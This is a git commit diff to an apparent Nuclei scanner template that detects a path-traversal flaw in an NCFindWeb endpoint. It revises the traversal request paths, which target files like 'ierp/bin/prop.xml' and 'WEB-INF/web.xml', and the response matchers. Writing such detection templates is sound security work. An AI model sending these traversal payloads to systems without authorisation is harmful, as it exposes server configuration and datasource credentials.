misc update
parent
ed4b717d65
commit
6101f8e537
|
@ -1,7 +1,7 @@
|
|||
id: wooyun-path-traversal
|
||||
|
||||
info:
|
||||
name: Wooyun-Path-Traversal
|
||||
name: Wooyun Path Traversal
|
||||
author: pikpikcu
|
||||
severity: high
|
||||
reference: https://wooyun.x10sec.org/static/bugs/wooyun-2015-0148227.html
|
||||
|
@ -13,8 +13,7 @@ info:
|
|||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/NCFindWeb?service=IPreAlertConfigService&filename=WEB-INF/../../../ierp/bin/prop.xml"
|
||||
- "{{BaseURL}}/NCFindWeb?service=IPreAlertConfigService&filename=WEB-INF/web.xml"
|
||||
- "{{BaseURL}}/NCFindWeb?service=IPreAlertConfigService&filename=../../ierp/bin/prop.xml"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
|
@ -23,6 +22,7 @@ requests:
|
|||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "<servlet-name>NCInvokerServlet</servlet-name>"
|
||||
- "<serviceClassName>nc.bs.tomcat.startup.BootStrapTomcatService</serviceClassName>"
|
||||
- <DataSourceClassName>
|
||||
- </DataSourceClassName>
|
||||
part: body
|
||||
condition: and
|
Loading…
Reference in New Issue